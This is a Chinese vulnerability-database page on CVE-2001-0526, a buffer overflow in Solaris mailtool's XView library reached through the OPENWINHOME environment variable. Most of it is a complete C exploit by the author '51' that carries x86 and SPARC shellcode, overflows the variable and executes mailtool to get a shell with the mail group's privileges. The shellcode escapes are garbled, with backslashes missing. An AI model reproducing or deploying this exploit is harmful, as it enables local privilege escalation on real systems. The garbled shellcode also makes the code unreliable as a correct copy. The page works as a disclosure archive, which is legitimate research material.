Solaris mailtool Xview库缓冲区溢出漏洞
| 漏洞ID | 1106366 | 漏洞类型 | 缓冲区溢出 |
| 发布时间 | 2001-06-01 | 更新时间 | 2005-05-02 |
CVE编号
|
CVE-2001-0526 |
CNNVD-ID
|
CNNVD-200108-046 |
| 漏洞平台 | Solaris | CVSS评分 | 4.6 |
|漏洞来源
|漏洞详情
Solaris8及其早期版本中mailtool使用的Xview库存在缓冲区溢出漏洞。本地攻击者借助OPENWINHOME环境变量提升特权。
|漏洞EXP
source: http://www.securityfocus.com/bid/2787/info
The mailtool program included with OpenWindows in Solaris, contains a buffer overflow vulnerability which may allow local users to execute arbitrary code/commands with group 'mail' privileges.
The overflow occurs when a string exceeding approximately 1010 characters is given as the OPENWINHOME environment variable.
/*
mailt00l.c, by 51 (June 2001)
Proof of concept code, exploiting the recently discovered buffer overflow
in Solaris 8 /usr/openwin/bin/mailtool, yielding GID mail
(http://packetstorm.securify.com/groups/synnergy/mailtool-adv.txt).
Should work with both x86 and Sparc versions, thx to compilation directives.
As a matter of course, the defaults buffersize and offset may need to be
tweaked a bit.
Usage : ./mailt00l [buffersize] [offset]
Shouts to Trick for various mentoring...
mail : [email protected]
www.cyberarmy.com
www.g0tr00t.net
*/
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 1600
#if defined(__i386__) && defined(__sun__)
#define ARCH "x86 Sun"
#define NOP_SIZE 1
char nop[] = "x90";
char shellcode[] =
"xebx3bx9axffxffxffxffx07xffxc3x5ex31xc0x89x46xc1"
"x88x46xc6x88x46x07x89x46x0cx31xc0x50xb0x17xe8xdf"
"xffxffxffx83xc4x04x31xc0x50x8dx5ex08x53x8dx1ex89"
"x5ex08x53xb0x3bxe8xc8xffxffxffx83xc4x0cxe8xc8xff"
"xffxffx2fx62x69x6ex2fx73x68xffxffxffxffxffxffxff"
"xffxff";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__)
#define ARCH "Sun Sparc"
#define NOP_SIZE 4
/* Shellcode ripped from Aleph1 */
char nop[]="xacx15xa1x6e";
char shellcode[] =
"x2dx0bxd8x9axacx15xa1x6ex2fx0bxdcxdax90x0bx80x0e"
"x92x03xa0x08x94x1ax80x0ax9cx03xa0x10xecx3bxbfxf0"
"xdcx23xbfxf8xc0x23xbfxfcx82x10x20x3bx91xd0x20x08"
"x90x1bxc0x0fx82x10x20x01x91xd0x20x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
int main(int argc, char *argv[])
{
char *ex[2];
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
printf("Archi: %sn", (char *)ARCH);
if (!(buff = malloc(bsize)))
{
printf("Can't allocate memory.n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%xn", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = buff;
for (i = 0; i < (bsize - strlen(shellcode)) / 2 - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
*(ptr++) = nop[n];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = ' ';
memcpy(buff,"OPENWINHOME=",12);
putenv(buff);
printf("Now running: /usr/openwin/bin/mailtooln");
ex[0] = "/usr/openwin/bin/mailtool";
ex[1] = NULL;
execv(ex[0], ex);
}
|参考资料
来源:XF
名称:solaris-mailtool-openwinhome-bo(6626)
链接:http://xforce.iss.net/static/6626.php
来源:BUGTRAQ
名称:20010528[synnergy]-Solarismailtool(1)bufferoverflowvulnerability
链接:http://archives.neohapsis.com/archives/bugtraq/2001-05/0258.html
相关推荐: Prozilla Real Estate Payment.PHP Bypass Vulnerability
Prozilla Real Estate Payment.PHP Bypass Vulnerability 漏洞ID 1098732 漏洞类型 Design Error 发布时间 2004-03-30 更新时间 2004-03-30 CVE编号 N/A CNN…
相关文章
我的微信
微信扫一扫

CVE编号
CNNVD-ID
评论